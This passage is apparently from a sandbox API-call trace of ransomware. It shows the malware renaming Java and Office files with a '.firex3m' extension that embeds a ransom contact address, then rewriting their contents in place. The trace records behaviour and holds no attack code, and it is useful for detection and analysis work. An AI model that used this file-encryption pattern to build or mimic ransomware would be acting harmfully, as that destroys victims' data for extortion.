SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.082] WriteFile (in: hFile=0x6a0, lpBuffer=0x6f1d1d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1d1d8*, lpNumberOfBytesWritten=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0123.083] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.083] WriteFile (in: hFile=0x6a0, lpBuffer=0x6f285d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f285d7*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0125.053] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.053] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0125.053] CloseHandle (hObject=0x6a0) returned 1 [0127.422] GetProcessHeap () returned 0x630000 [0127.422] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1d1d8 | out: hHeap=0x630000) returned 1 [0127.425] GetProcessHeap () returned 0x630000 [0127.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f11da8 | out: hHeap=0x630000) returned 1 [0127.426] GetProcessHeap () returned 0x630000 [0127.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0128.978] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x11372546, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8eba4, dwReserved0=0xcbc7496, dwReserved1=0x6f11da0, cFileName="jsse.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JSSEJA~1.FIR")) returned 0x6d4f80 [0128.984] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0128.988] Sleep (dwMilliseconds=0x1) [0129.033] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", len=0x34 | out: pbstr=0x393ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 1 [0129.033] GetProcessHeap () returned 0x630000 [0129.033] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x84) returned 0x66a3e0 [0129.034] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0129.034] CloseHandle (hObject=0x4e0) returned 1 [0129.034] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0129.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0129.035] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.035] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1166a99, dwReserved0=0x22000c2e, dwReserved1=0x0, cFileName="jfxrt.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JFXRTJ~1.FIR")) returned 0x6d5200 [0129.035] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0129.035] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0129.035] GetProcessHeap () returned 0x630000 [0129.035] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7265e78 [0129.036] GetProcessHeap () returned 0x630000 [0129.036] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72712a8 [0129.036] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.036] ReadFile (in: hFile=0x4e0, lpBuffer=0x7265e78, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7265e78*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0137.194] GetProcessHeap () returned 0x630000 [0137.194] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0137.194] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.194] WriteFile (in: hFile=0x4e0, lpBuffer=0x72712a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72712a8*, lpNumberOfBytesWritten=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0137.195] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.195] WriteFile (in: hFile=0x4e0, lpBuffer=0x727c6a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727c6a7*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.197] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.197] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.197] CloseHandle (hObject=0x4e0) returned 1 [0143.340] GetProcessHeap () returned 0x630000 [0143.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72712a8 | out: hHeap=0x630000) returned 1 [0143.343] GetProcessHeap () returned 0x630000 [0143.343] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7265e78 | out: hHeap=0x630000) returned 1 [0143.344] GetProcessHeap () returned 0x630000 [0143.344] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0143.866] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1b62d27c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1166abd, dwReserved0=0xcbc7496, dwReserved1=0x7265e70, cFileName="jfxrt.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JFXRTJ~1.FIR")) returned 0x6d5540 [0143.867] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0143.867] Sleep (dwMilliseconds=0x1) [0143.870] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK", len=0x45 | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK") returned 1 [0143.870] GetProcessHeap () returned 0x630000 [0143.870] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26a0) returned 0x71f7c78 [0143.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0145.432] CloseHandle (hObject=0x6c8) returned 1 [0145.432] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0147.063] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.063] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GROOVE~2.FIR")) returned 0x6d4ec0 [0147.064] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0147.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0147.064] GetProcessHeap () returned 0x630000 [0147.064] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4bc8 [0147.064] GetProcessHeap () returned 0x630000 [0147.064] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4628 [0147.064] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.064] ReadFile (in: hFile=0x6c8, lpBuffer=0x6a4bc8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4bc8*, lpNumberOfBytesRead=0x393ff0c*=0x60, lpOverlapped=0x0) returned 1 [0147.065] GetProcessHeap () returned 0x630000 [0147.065] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0147.065] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.065] WriteFile (in: hFile=0x6c8, lpBuffer=0x6a4628*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4628*, lpNumberOfBytesWritten=0x393ff0c*=0x60, lpOverlapped=0x0) returned 1 [0147.065] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.065] WriteFile (in: hFile=0x6c8, lpBuffer=0x6a4687*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4687*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0147.066] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.066] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0147.066] CloseHandle (hObject=0x6c8) returned 1 [0147.066] GetProcessHeap () returned 0x630000 [0147.066] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4628 | out: hHeap=0x630000) returned 1 [0147.066] GetProcessHeap () returned 0x630000 [0147.066] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4bc8 | out: hHeap=0x630000) returned 1 [0147.066] GetProcessHeap () returned 0x630000 [0147.066] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0147.066] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.066] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d9b1150, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0x393fd20, dwReserved1=0x6a4bc8, cFileName="GROOVE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GROOVE~2.FIR")) returned 0x6d5340 [0147.066] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0147.066] Sleep (dwMilliseconds=0x1) [0148.160] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INVENTRY.VRD", len=0x41 | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INVENTRY.VRD") returned 1 [0148.160] GetProcessHeap () returned 0x630000 [0148.160] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x267c) returned 0x71f7c78 [0148.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\inventry.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0149.585] CloseHandle (hObject=0x6d8) returned 1 [0149.585] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\inventry.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INVENTRY.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\inventry.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.586] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INVENTRY.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="INVENTRY.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INVENT~1.FIR")) returned 0x6d4f80 [0149.586] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0149.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INVENTRY.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\inventry.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0149.586] GetProcessHeap () returned 0x630000 [0149.586] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x341) returned 0x69ec20 [0149.587] GetProcessHeap () returned 0x630000 [0149.587] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x341) returned 0x6fbec88 [0149.587] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.587] ReadFile (in: hFile=0x6d8, lpBuffer=0x69ec20, nNumberOfBytesToRead=0x320, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x69ec20*, lpNumberOfBytesRead=0x393ff0c*=0x320, lpOverlapped=0x0) returned 1 [0149.734] GetProcessHeap () returned 0x630000 [0149.734] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0149.734] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.734] WriteFile (in: hFile=0x6d8, lpBuffer=0x6fbec88*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbec88*, lpNumberOfBytesWritten=0x393ff0c*=0x320, lpOverlapped=0x0) returned 1 [0149.734] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.734] WriteFile (in: hFile=0x6d8, lpBuffer=0x6fbefa7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbefa7*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0149.734] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.734] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0149.734] CloseHandle (hObject=0x6d8) returned 1 [0149.734] GetProcessHeap () returned 0x630000 [0149.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fbec88 | out: hHeap=0x630000) returned 1 [0149.734] GetProcessHeap () returned 0x630000 [0149.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69ec20 | out: hHeap=0x630000) returned 1 [0149.735] GetProcessHeap () returned 0x630000 [0149.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0149.735] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INVENTRY.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1f32e832, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0xcbc7496, dwReserved1=0x69ec18, cFileName="INVENTRY.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INVENT~1.FIR")) returned 0x6d5540 [0149.735] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0149.735] Sleep (dwMilliseconds=0x1) [0149.779] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR50F.GIF", len=0x49 | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR50F.GIF") returned 1 [0149.779] GetProcessHeap () returned 0x630000 [0149.779] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713aec8, Size=0x2848) returned 0x713aec8 [0149.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir50f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0149.783] CloseHandle (hObject=0x6a8) returned 1 [0149.783] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir50f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR50F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir50f.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.791] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.791] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR50F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xadb15e3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xadb15e3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xadb15e3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR50F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PDIR50~1.FIR")) returned 0x6d53c0 [0149.795] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0149.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR50F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir50f.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0149.796] GetProcessHeap () returned 0x630000 